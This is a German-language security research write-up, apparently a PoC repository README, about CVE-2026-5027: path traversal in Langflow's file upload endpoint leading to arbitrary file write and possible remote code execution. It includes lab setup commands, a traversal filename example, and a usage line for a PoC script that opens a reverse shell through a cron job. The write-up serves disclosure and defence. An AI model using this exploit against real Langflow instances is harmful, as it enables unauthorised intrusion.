
Langflow, Entfernte Codeausführung (RCE) durch Cron-Job-Injection mittels Path Traversal
Dieser Beitrag ist ein Forschungsartikel, veröffentlicht von EQSTLab.
Dank an Yahia Hamza, der diese Schwachstelle gemeldet und analysiert hat.
★ CVE-2026-5027 Langflow Pfad-Traversal / Beliebiger Dateischreibzugriff PoC ★

CVE-2026-5027 : Langflow Schwachstelle für beliebigen Dateischreibzugriff
Eine Pfad-Traversal-Schwachstelle in Langflow <= 1.8.4 erlaubt Angreifern, beliebige Dateien außerhalb des vorgesehenen Upload-Verzeichnisses zu schreiben, indem ein manipulierter Multipart-filename an den Endpunkt /api/v2/files übergeben wird. In Bereitstellungen, in denen Auto-Login aktiviert oder die Authentifizierung anderweitig schwach durchgesetzt ist, kann dieses Problem ausgenutzt werden, um Remote-Code-Ausführung zu erreichen, indem vom Angreifer kontrollierter Inhalt in sensible Dateisystempfade geschrieben wird.
Erstellen und Ausführen der verwundbaren Umgebung mit Docker:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
Verwundbarer Endpunkt
POST /api/v2/files
Das Problem besteht, weil die Upload-Funktion dem vom Client bereitgestellten Multipart-filename-Wert vertraut. Anstatt einen sicheren serverseitigen Speichernamen zu generieren oder den aufgelösten Pfad auf ein dediziertes Upload-Verzeichnis zu beschränken, erlaubt der verwundbare Codepfad Traversal-Sequenzen wie ../, den endgültigen Zielpfad zu beeinflussen.
Infolgedessen kann ein Angreifer den vorgesehenen Speicherstamm umgehen und die Anwendung zwingen, Dateien an beliebige Stellen im Server-Dateisystem zu schreiben.
Ein repräsentativer Exploit-Ablauf ist wie folgt:
/api/v2/files.filename mit Pfad-Traversal-Sequenzen.Dies ist im Kern ein CWE-22: Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis-Problem.
Der Sicherheitsfehler wird durch unzureichende Bereinigung und Validierung benutzergesteuerter Dateipfade während der Upload-Verarbeitung verursacht. Die Anwendung akzeptiert den ursprünglichen Client-Dateinamen und übergibt ihn an den Speicherworkflow, ohne die Pfadnormalisierung und -begrenzung angemessen durchzusetzen.
Aus defensiver Sicht ist das gefährliche Muster konzeptionell ähnlich wie das Folgende:
save_path = base_dir / file.filename
Wenn file.filename Pfad-Traversal-Komponenten wie enthält:
../../../../tmp/poc.txt
kann der endgültig aufgelöste Pfad außerhalb von base_dir zeigen, was einen beliebigen Dateischreibzugriff ermöglicht.
Schwachstellen für beliebiges Dateischreiben sind oft schwerwiegender als standardmäßige uneingeschränkte Upload-Probleme, da der Angreifer nicht nur den Dateiinhalt, sondern auch den Zielpfad kontrolliert. Abhängig von den Laufzeitberechtigungen des Langflow-Prozesses kann dies Folgendes ermöglichen:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
Dieses Repository ist nicht dazu gedacht, die unbefugte Ausnutzung von Langflow-Instanzen zu erleichtern. Der Zweck dieses Projekts ist es, Sicherheitsforschern, Verteidigern und Entwicklern zu helfen, die Schwachstelle zu verstehen, die Gefährdung in kontrollierten Umgebungen zu validieren und wirksame Gegenmaßnahmen anzuwenden.
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027